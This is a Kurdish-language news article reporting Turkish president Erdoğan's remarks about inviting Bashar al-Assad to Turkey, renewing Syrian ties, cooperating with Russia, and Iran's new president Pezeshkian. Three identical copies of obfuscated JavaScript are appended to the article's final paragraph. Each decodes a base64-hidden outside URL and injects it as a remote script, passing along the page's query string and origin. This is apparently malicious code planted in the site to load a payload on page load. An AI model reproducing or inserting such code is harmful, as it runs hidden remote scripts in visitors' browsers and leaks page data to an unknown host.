ئەردۆغان: دێ داخوازێ ژ بەشار ئەسەدی کەم سەرەدانا تورکیا بکەت
سەرۆک کۆمارێ تورکیا راگەهاند وەکو تورکیا وان دڤێت ل گەل سووریێ دەست ب قۆناغەکا نوو بکەن، تورکیا ل سووریێ گەلەک کارێن باش ئەنجام داینە و نەهێلایە سووریێ بهێتە پارچە کرن، هەروەسا ئەو دێ داخوازێ ژ بەشار ئەسەدی ژی کەن کو سەرەدانا تورکیا بکەت.
رەجەب تەیب ئەردۆغانێ سەرۆک کۆمارێ تورکیا بۆ دەزگەهێن راگەهاندنا تورکیا دیار کر، وەکو تورکیا وان دڤێت ل گەل سووریێ دەست ب قۆناغەکا نوو بکەن، تورکیا د چەند سالێن بۆری دا نەهێلایە ئاخا سووریێ بهێتە پارچەکرن، تورکیا نەهێلا تیرۆر ل سووریێ زێدە بەلاڤ ببیت و ژ بەر ڤێ یەکێ ژی نها وەکو تورکیا وان دڤێت ل گەل سووریێ پەیوەندیێن خوە گەلەک باش بکەن و گۆت: (مە دڤێت پەیوەندیێن خوە ل گەل سووریێ ڤەگەریننە بەری سالا ٢٠١١ و هەتا باشتر ژی لێ بکەن، تورکیا نیەتا خوە یا پاک بۆ دەستپێکرنا قۆناغەکا نوو ل گەل سووریێ دیار کریە، ئێدی دڤێت بەشار ئەسەد ژی بریارا خوە بدەت، چونکی رەوشا نها ل سووریێ وەکو خوە بەردەوام نابیت و دڤێت ژ ئالیێ حوکمەتا سووریێ ژیڤە هندەک پێنگاڤێن نوو بهێنە ئاڤت).
سەبارەت ب رۆلێ تورکیا و رۆسیا ل سووریێ ژی سەرۆک کۆمارێ تورکیا راگەهاند، تورکیا ل گەل رۆسیا شەرێ تیرۆرێ دکەت، ل سووریێ وەکو تورکیا مە گەلەک قوربانی ژی دان، رۆلێ رۆسیا ژی گەلەک گرنگە، تێگەهشتنەکا گەلەک باش د ناڤبەرا تورکیا و رۆسیا دا هەیە و گۆت: (ئەز ب باوەرم دێ سەرۆکێ رۆسیا ژی کار بۆ ڤێ یەکێ کەت دا ل سووریێ قۆناغەکا نوو بهێتە دەستپێکرن و تورکیا خوە بۆ ڤێ یەکێ بەرهەڤ کریە).
ئەردۆغانی د پشکەکا دی یا ئاخڤتنا خوە دا بەحسێ سەرۆک کۆمارێ نوو یێ ئیرانێ مەسعود پزیشکیان ژی کر و دیار کر، مەسعود پزیشکیان ب ئەسلێ خوە ئازەری یە و ل باژێرێن کوردی ژی ب زمانێ کوردی ئاخڤی و کاێ خوە یێ رۆژانە ژی ب زمانێ فارسی دکەت، ئەو یەک ژ بۆ ئیرانێ و هەموو دەڤەرێ گەلەک گرنگە، وەکو تورکیا مە پەیوەندیێن دیرۆکی ل گەل ئیرانێ هەنە، د دەمەکێ نێزیک دا دێ ل گەل سەرۆک کۆمارێ نوو یێ ئیرانێ ژی ئاخڤم و ئەز وەسا باوەر دکەم دێ د سەردەمێ پزیشکیان دا پەیوەندیێن تورکیا و ئیرانێ گەلەک باشتر لێ هێن و گۆت: (بەری نها ژی د گەلەک بیاڤان دا وەکو تورکیا مە ل گەل ئیرانێ کار کریە، مە بەرژەوەندیێن هەڤپشک ل گەل ئیرانێ هەنە، سەرۆک کۆمارێ نوو یێ ئیرانێ ژی کەسەک تێگەهشتیە و دیارە دێ شێت گوهۆڕینێن باش د سیاسەتا دەرڤە یا ئیرانێ دا ژی بکەت، بێگومان ئەو یەک دێ کاریگەریا خوە یا باش بۆ رۆژهەلاتا ناڤین ژی هەبیت).(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
